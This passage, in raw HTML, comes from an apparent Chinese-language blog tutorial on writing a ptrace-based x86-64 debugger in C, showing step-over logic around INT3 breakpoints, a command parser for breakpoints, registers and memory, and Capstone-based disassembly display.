left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 其他就是单步情况</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里步过一个call采用的方式是在call指令下一条指令下断点然后PTRACE_CONT。同样使用capstone计算call指令长度然后断下后面一条指令，这样需要考虑如果被step over的函数如果没有中断那么将触发call指令后面一条指令，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">那么INT3被执行还需让pc-1</strong></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">/**<br/> * This function invoked in 4 situation:<br/> * 1.Just work as step in<br/> * 2.jump over a call but has triggered an breakpoint(0xcc)<br/> * 3.jump over a call but no breakpoint in current call instruction<br/> * 4.jump over a call but there is 0xcc in current call instruction<br/> * we can show UI here<br/>*/</span><br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">dbg_step_over</span>(Debugger *dbg){<br/>    <span style="color: rgb(209, 154, 102);">uint64_t</span> possible_pc_prev = get_pc(dbg) - <span style="color: rgb(209, 154, 102);">1</span>;        <span style="color: rgb(92, 99, 112);font-style: italic;">/*if this is breakpoint int 3 executed*/</span><br/>    <span style="color: rgb(209, 154, 102);">uint64_t</span> possible_pc_currn = possible_pc_prev + <span style="color: rgb(209, 154, 102);">1</span>;   <span style="color: rgb(92, 99, 112);font-style: italic;">/*if current instruction is breakpoint*/</span><br/>    Breakpoint *bp_prev = <span style="color: rgb(86, 182, 194);">NULL</span>;<br/>    Breakpoint *bp_currn = <span style="color: rgb(86, 182, 194);">NULL</span>;<br/>    <span style="color: rgb(209, 154, 102);">uint64_t</span> data;<br/>    <span style="color: rgb(209, 154, 102);">uint64_t</span> next_addr;<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*Maybe stoped for triggered a breakpoint*/</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*previous instruction. Jump over a call but has triggered an breakpoint(0xcc)*/</span><br/>    HASH_FIND_PTR(dbg-&gt;d_brks, &amp;possible_pc_prev, bp_prev);<br/>    <span style="color: rgb(198, 120, 221);">if</span>(bp_prev != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp_prev-&gt;b_enabled &amp;&amp; bp_prev-&gt;b_saved_data == <span style="color: rgb(209, 154, 102);">0xE8</span>){     <span style="color: rgb(92, 99, 112);font-style: italic;">/*call`s op code is 0xE8*/</span><br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/*call instruction has been triggered*/</span><br/>        brk_disable(bp_prev);<br/>        data = ptrace(PTRACE_PEEKDATA, dbg-&gt;d_pid, possible_pc_prev, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>        csh handle = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        cs_insn* insn;<br/>        <span style="color: rgb(209, 154, 102);">size_t</span> count;<br/>        <span style="color: rgb(209, 154, 102);">int</span> child_status;<br/>        <span style="color: rgb(198, 120, 221);">if</span> (cs_open(CS_ARCH_X86, CS_MODE_64, &amp;handle)) {<br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;[error]: Failed to initialize capstone engine!\n&#34;</span>);<br/>            <span style="color: rgb(230, 192, 123);">exit</span>(<span style="color: rgb(209, 154, 102);">-1</span>);<br/>        }<br/>        cs_disasm(handle, (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span>*)&amp;data, <span style="color: rgb(209, 154, 102);">8</span>, possible_pc_prev, <span style="color: rgb(209, 154, 102);">1</span>, &amp;insn);<br/>        next_addr = possible_pc_prev + insn-&gt;size;<br/>        dbg_set_breakpoint_at_address(dbg, next_addr);<br/>        set_pc(dbg, possible_pc_prev);<br/>        continue_execution(dbg);                        <span style="color: rgb(92, 99, 112);font-style: italic;">/*Probably trigger another breakpoint in the function. So we need to disable it when stop*/</span><br/>        brk_enable(bp_prev);<br/>        <br/>        HASH_FIND_PTR(dbg-&gt;d_brks, &amp;next_addr, bp_prev);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(bp_prev != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp_prev-&gt;b_enabled){<br/>            brk_disable(bp_prev);                       <span style="color: rgb(92, 99, 112);font-style: italic;">/*disable it*/</span><br/>        }<br/>        <span style="color: rgb(198, 120, 221);">if</span>((get_pc(dbg) - <span style="color: rgb(209, 154, 102);">1</span>) == next_addr){             <span style="color: rgb(92, 99, 112);font-style: italic;">/*we stoped maybe because of triggering int3 below the call. So after continue we should check executed int3*/</span><br/>            set_pc(dbg, next_addr);          <br/>        }<br/>        cs_free(insn, <span style="color: rgb(209, 154, 102);">1</span>);<br/>        cs_close(&amp;handle);<br/>        <span style="color: rgb(198, 120, 221);">return</span>;<br/>    }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(bp_prev != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp_prev-&gt;b_enabled &amp;&amp; bp_prev-&gt;b_saved_data != <span style="color: rgb(209, 154, 102);">0xE8</span>){<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/*normal instruction has been triggered. Just work as step in*/</span><br/>        dbg_step_in(dbg);<br/>        <span style="color: rgb(198, 120, 221);">return</span>;<br/>    }<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*stoped for PTRACE_SINGLESTEP*/</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*current instruction. Jump over a call but there is 0xcc in current call instruction*/</span><br/>    HASH_FIND_PTR(dbg-&gt;d_brks, &amp;possible_pc_currn, bp_currn);<br/>    <span style="color: rgb(198, 120, 221);">if</span>(bp_currn != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp_currn-&gt;b_enabled &amp;&amp; bp_currn-&gt;b_saved_data == <span style="color: rgb(209, 154, 102);">0xE8</span>){<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/*current instruction is breakpoint and it`s a function invoking*/</span><br/>        brk_disable(bp_currn);<br/>        data = ptrace(PTRACE_PEEKDATA, dbg-&gt;d_pid, possible_pc_currn, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>        csh handle = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        cs_insn* insn;<br/>        <span style="color: rgb(209, 154, 102);">size_t</span> count;<br/>        <span style="color: rgb(209, 154, 102);">int</span> child_status;<br/>        <span style="color: rgb(198, 120, 221);">if</span> (cs_open(CS_ARCH_X86, CS_MODE_64, &amp;handle)) {<br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;[error]: Failed to initialize capstone engine!\n&#34;</span>);<br/>            <span style="color: rgb(230, 192, 123);">exit</span>(<span style="color: rgb(209, 154, 102);">-1</span>);<br/>        }<br/>        cs_disasm(handle, (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span>*)&amp;data, <span style="color: rgb(209, 154, 102);">8</span>, possible_pc_currn, <span style="color: rgb(209, 154, 102);">1</span>, &amp;insn);<br/>        next_addr = possible_pc_currn + insn-&gt;size;<br/>        dbg_set_breakpoint_at_address(dbg, next_addr);<br/>        continue_execution(dbg);                        <span style="color: rgb(92, 99, 112);font-style: italic;">/*Probably trigger another breakpoint in the function. So we need to disable it when stop*/</span><br/>        brk_enable(bp_currn);<br/>        HASH_FIND_PTR(dbg-&gt;d_brks, &amp;next_addr, bp_currn);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(bp_currn != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp_currn-&gt;b_enabled){<br/>            brk_disable(bp_currn);                      <span style="color: rgb(92, 99, 112);font-style: italic;">/*disable it*/</span><br/>        }<br/>        <span style="color: rgb(198, 120, 221);">if</span>((get_pc(dbg) - <span style="color: rgb(209, 154, 102);">1</span>) == next_addr){             <span style="color: rgb(92, 99, 112);font-style: italic;">/*we stoped maybe because of triggering int3 below the call. So after continue we should check executed int3*/</span><br/>            set_pc(dbg, next_addr);          <br/>        }<br/>        cs_free(insn, <span style="color: rgb(209, 154, 102);">1</span>);<br/>        cs_close(&amp;handle);<br/>        <span style="color: rgb(198, 120, 221);">return</span>;<br/>    }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(bp_currn != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp_currn-&gt;b_enabled &amp;&amp; bp_currn-&gt;b_saved_data != <span style="color: rgb(209, 154, 102);">0xE8</span>){<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/*current instruction is a breakpoint but not a calling so we could just step over. Just work as step in */</span><br/>        dbg_step_in(dbg);<br/>        show_UI(dbg);<br/>        <span style="color: rgb(198, 120, 221);">return</span>;<br/>    }<br/>    <br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*not breakpoint in current invoking OR current normal instruction*/</span><br/>    data = ptrace(PTRACE_PEEKDATA, dbg-&gt;d_pid, possible_pc_currn, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>    <span style="color: rgb(198, 120, 221);">if</span>((data &amp; <span style="color: rgb(209, 154, 102);">0xff</span>) == <span style="color: rgb(209, 154, 102);">0xE8</span>){          <br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/*Current instruction is a call.Set breakpoint at next instruction then continue*/</span><br/>        csh handle = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        cs_insn* insn;<br/>        <span style="color: rgb(209, 154, 102);">size_t</span> count;<br/>        <span style="color: rgb(209, 154, 102);">int</span> child_status;<br/>        <span style="color: rgb(198, 120, 221);">if</span> (cs_open(CS_ARCH_X86, CS_MODE_64, &amp;handle)) {<br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;[error]: Failed to initialize capstone engine!\n&#34;</span>);<br/>            <span style="color: rgb(230, 192, 123);">exit</span>(<span style="color: rgb(209, 154, 102);">-1</span>);<br/>        }<br/>        cs_disasm(handle, (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span>*)&amp;data, <span style="color: rgb(209, 154, 102);">8</span>, possible_pc_currn, <span style="color: rgb(209, 154, 102);">1</span>, &amp;insn);<br/>        next_addr = possible_pc_currn + insn-&gt;size;<br/>        dbg_set_breakpoint_at_address(dbg, next_addr);<br/>        continue_execution(dbg);<br/>        HASH_FIND_PTR(dbg-&gt;d_brks, &amp;next_addr, bp_currn);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(bp_currn != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp_currn-&gt;b_enabled){<br/>            brk_disable(bp_currn);<br/>        }<br/>        <span style="color: rgb(198, 120, 221);">if</span>((get_pc(dbg) - <span style="color: rgb(209, 154, 102);">1</span>) == next_addr){             <span style="color: rgb(92, 99, 112);font-style: italic;">/*we stoped maybe because of triggering int3 below the call. So after continue we should check executed int3*/</span><br/>            set_pc(dbg, next_addr);          <br/>        }<br/>        cs_free(insn, <span style="color: rgb(209, 154, 102);">1</span>);<br/>        cs_close(&amp;handle);<br/>        <span style="color: rgb(198, 120, 221);">return</span>;<br/>    }<span style="color: rgb(198, 120, 221);">else</span><br/>        dbg_step_in(dbg);           <span style="color: rgb(92, 99, 112);font-style: italic;">/*Current instruction is normal. Just work as step in*/</span><br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">到这里已经具备基本功能了，可以在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">dbg_handle_command</code>中添加命令支持：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">dbg_handle_command</span>(Debugger *dbg, <span style="color: rgb(209, 154, 102);">char</span> *cmd){<br/>    <span style="color: rgb(209, 154, 102);">char</span> *lcmd = strdup(cmd);<br/>    <span style="color: rgb(209, 154, 102);">char</span> *argv[<span style="color: rgb(209, 154, 102);">8</span>] = { <span style="color: rgb(209, 154, 102);">0</span> };    <br/>    <span style="color: rgb(209, 154, 102);">char</span> *command;<br/>    argv[<span style="color: rgb(209, 154, 102);">0</span>] = strtok(lcmd, <span style="color: rgb(152, 195, 121);">&#34; &#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">for</span>(<span style="color: rgb(209, 154, 102);">int</span> i = <span style="color: rgb(209, 154, 102);">1</span>; i &lt; <span style="color: rgb(209, 154, 102);">8</span>; i++){<br/>        argv[i] = strtok(<span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(152, 195, 121);">&#34; &#34;</span>);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(argv[i] == <span style="color: rgb(86, 182, 194);">NULL</span>) <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    command = argv[<span style="color: rgb(209, 154, 102);">0</span>];<br/>    <span style="color: rgb(198, 120, 221);">if</span>(command == <span style="color: rgb(86, 182, 194);">NULL</span>) <span style="color: rgb(198, 120, 221);">return</span>;<br/>    <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(command, <span style="color: rgb(152, 195, 121);">&#34;continue&#34;</span>)){<br/>        continue_execution(dbg);<br/>    }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(command, <span style="color: rgb(152, 195, 121);">&#34;quit&#34;</span>)){<br/>        exit_debugger(dbg);<br/>    }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(command, <span style="color: rgb(152, 195, 121);">&#34;break&#34;</span>)){      <span style="color: rgb(92, 99, 112);font-style: italic;">/*format: break/b [addr]*/</span><br/>        <span style="color: rgb(198, 120, 221);">if</span>(argv[<span style="color: rgb(209, 154, 102);">1</span>] == <span style="color: rgb(86, 182, 194);">NULL</span>)<br/>            <span style="color: rgb(230, 192, 123);">puts</span>(<span style="color: rgb(152, 195, 121);">&#34;command break expect an address!&#34;</span>);<br/>        <span style="color: rgb(198, 120, 221);">else</span>{<br/>            dbg_set_breakpoint_at_address(dbg, strtoul(argv[<span style="color: rgb(209, 154, 102);">1</span>], <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">16</span>));<br/>        }<br/>    }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(command, <span style="color: rgb(152, 195, 121);">&#34;register&#34;</span>)){   <span style="color: rgb(92, 99, 112);font-style: italic;">/*format: reg/r dump OR reg/r read/write [reg] value(hex)*/</span><br/>        <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(argv[<span style="color: rgb(209, 154, 102);">1</span>], <span style="color: rgb(152, 195, 121);">&#34;dump&#34;</span>))<br/>            dbg_dump_all_regs(dbg);<br/>        <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(argv[<span style="color: rgb(209, 154, 102);">1</span>], <span style="color: rgb(152, 195, 121);">&#34;read&#34;</span>)){<br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;value:\t0x%08lx\n&#34;</span>, get_register_value(dbg-&gt;d_pid, get_register_from_name(argv[<span style="color: rgb(209, 154, 102);">2</span>])));<br/>        }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(argv[<span style="color: rgb(209, 154, 102);">1</span>], <span style="color: rgb(152, 195, 121);">&#34;write&#34;</span>)){<br/>            set_register_value(dbg-&gt;d_pid, get_register_from_name(argv[<span style="color: rgb(209, 154, 102);">2</span>]), strtoul(argv[<span style="color: rgb(209, 154, 102);">3</span>], <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">16</span>));<br/>        }<br/>    }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(command, <span style="color: rgb(152, 195, 121);">&#34;memory&#34;</span>)){     <span style="color: rgb(92, 99, 112);font-style: italic;">/*memory/m read [addr] OR write [addr] [value]*/</span><br/>        <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(argv[<span style="color: rgb(209, 154, 102);">1</span>], <span style="color: rgb(152, 195, 121);">&#34;read&#34;</span>)){<br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;value:\t0x%08lx\n&#34;</span>, dbg_read_memory(dbg, strtoul(argv[<span style="color: rgb(209, 154, 102);">2</span>], <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">16</span>)));<br/>        }<br/>        <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(argv[<span style="color: rgb(209, 154, 102);">1</span>], <span style="color: rgb(152, 195, 121);">&#34;write&#34;</span>)){<br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;0x%08lx\t-&gt;\t&#34;</span>, dbg_read_memory(dbg, strtoul(argv[<span style="color: rgb(209, 154, 102);">2</span>], <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">16</span>)));<br/>            dbg_write_memory(dbg, strtoul(argv[<span style="color: rgb(209, 154, 102);">2</span>], <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">16</span>), strtoul(argv[<span style="color: rgb(209, 154, 102);">3</span>], <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">16</span>));<br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;0x%08lx\n&#34;</span>, dbg_read_memory(dbg, strtoul(argv[<span style="color: rgb(209, 154, 102);">3</span>], <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(209, 154, 102);">16</span>)));<br/>        }<br/>    }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(command, <span style="color: rgb(152, 195, 121);">&#34;step&#34;</span>)){       <span style="color: rgb(92, 99, 112);font-style: italic;">/*step in OR step over*/</span><br/>        <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(argv[<span style="color: rgb(209, 154, 102);">1</span>], <span style="color: rgb(152, 195, 121);">&#34;in&#34;</span>)){<br/>            dbg_step_in(dbg);<br/>        }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(argv[<span style="color: rgb(209, 154, 102);">1</span>], <span style="color: rgb(152, 195, 121);">&#34;over&#34;</span>)){<br/>            dbg_step_over(dbg);<br/>        }<span style="color: rgb(198, 120, 221);">else</span>{<br/>            <span style="color: rgb(230, 192, 123);">puts</span>(<span style="color: rgb(152, 195, 121);">&#34;Usage: step in / step over&#34;</span>);<br/>        }<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">else</span>{<br/>        <span style="color: rgb(230, 192, 123);">fprintf</span>(<span style="color: rgb(230, 192, 123);">stderr</span>, <span style="color: rgb(152, 195, 121);">&#34;Unkown command: %s.\n&#34;</span>, command);<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(230, 192, 123);">free</span>(lcmd);<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这些是目前完成的功能，还有进程和线程支持还未完成</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">汇编</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  一般debugger是要支持显示汇编的，这里实现的只是在每次单步和触发断点时打印寄存器信息和汇编。可以在每次单步或者触发断点时读取当前pc处的机器码借助capstone反汇编，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">但需要注意的是对于x86_64架构最长汇编指令为15字节但很少出现比较长的指令</strong>，所以实现汇编打印的时候每次仅读取16个字节进行反汇编并打印指令</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">/**<br/> * consider of the longest instruction is 15bytes(x86_64) then we read 16bytes everytime<br/> * and disassemble it with capstone engine<br/> * befor invoking show_asm the caller should make sure current pc is not a breakpoint<br/>*/</span><br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">show_asm</span>(Debugger *dbg){<br/>    csh handle;<br/>    cs_insn *insn;<br/>    <span style="color: rgb(209, 154, 102);">size_t</span> count;<br/>    <span style="color: rgb(209, 154, 102);">uint8_t</span> *code;<br/>    <span style="color: rgb(209, 154, 102);">size_t</span> size = <span style="color: rgb(209, 154, 102);">15</span>;<br/>    <span style="color: rgb(209, 154, 102);">uint64_t</span> address;<br/>    <span style="color: rgb(198, 120, 221);">if</span>(cs_open(CS_ARCH_X86, CS_MODE_64, &amp;handle)){<br/>        <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;[error] cs_open(%d, %d, 0x%08lx)\n&#34;</span>, CS_ARCH_X86, CS_MODE_64, &amp;handle);<br/>        <span style="color: rgb(230, 192, 123);">exit</span>(<span style="color: rgb(209, 154, 102);">-1</span>);<br/>    }<br/>    code = <span style="color: rgb(230, 192, 123);">calloc</span>(<span style="color: rgb(209, 154, 102);">1</span>, <span style="color: rgb(209, 154, 102);">16</span>);<br/>    address = get_pc(dbg);<br/>    *(<span style="color: rgb(209, 154, 102);">uint64_t</span> *)code = ptrace(PTRACE_PEEKDATA, dbg-&gt;d_pid, address, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>    *((<span style="color: rgb(209, 154, 102);">uint64_t</span> *)code + <span style="color: rgb(209, 154, 102);">1</span>) = ptrace(PTRACE_PEEKDATA, dbg-&gt;d_pid, address + <span style="color: rgb(209, 154, 102);">8</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>    <br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*before we show assembly after pc we should consider if there is breakpoint in machine code behind*/</span><br/>    Breakpoint *bp = <span style="color: rgb(86, 182, 194);">NULL</span>;<br/>    <span style="color: rgb(198, 120, 221);">for</span>(<span style="color: rgb(209, 154, 102);">uint64_t</span> i = <span style="color: rgb(209, 154, 102);">0</span>, tmp = address; i &lt; size; i++){<br/>        HASH_FIND_PTR(dbg-&gt;d_brks, &amp;tmp, bp);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(bp != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp-&gt;b_enabled){    <br/>            *((<span style="color: rgb(209, 154, 102);">uint8_t</span> *)code + i) = bp-&gt;b_saved_data;<br/>        }<br/>        tmp++;<br/>    }<br/>    <span style="color: rgb(230, 192, 123);">puts</span>(<span style="color: rgb(152, 195, 121);">&#34;-------------------------[Assembly]-------------------------&#34;</span>);<br/>    insn = cs_malloc(handle);<br/>    <span style="color: rgb(198, 120, 221);">while</span>(cs_disasm_iter(handle, (<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">uint8_t</span> **)&amp;code, &amp;size, &amp;address, insn)){<br/>        <span style="color: rgb(198, 120, 221);">if</span>(size + insn-&gt;size == <span style="color: rgb(209, 154, 102);">15</span>)<br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;\e[96m0x%08lx:\t%s\t%s\t&lt;======RIP\e[0m\n&#34;</span>, insn-&gt;address, insn-&gt;mnemonic, insn-&gt;op_str);<br/>        <span style="color: rgb(198, 120, 221);">else</span><br/>            <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;0x%08lx:\t%s\t%s\n&#34;</span>, insn-&gt;address, insn-&gt;mnemonic, insn-&gt;op_str);  <br/>    }<br/>    cs_free(insn, <span style="color: rgb(209, 154, 102);">1</span>);<br/>    cs_close(&amp;handle);<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">还有就是如果读取的15个字节中<strong style="line-height: 1.75;color: rgb(255, 118, 118);">有断点(0xcc)那么反汇编结果是不准确的</strong>，因此先遍历是否存在断点并resotre原来的数据再进行反汇编。</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">效果</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里还没有实现多线程/进程调试的功能，<span style="line-height: 1.75;color: rgb(87, 107, 149);">源码</span>，但也算有个调试器的架子了</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6c61e913&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkaKns4LWooxTNiabTOgobYcssUR38AVIdtzJrWcBuQibSLysy9chIB81fca1FGfdLichtvqW7YO4fA1g%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: 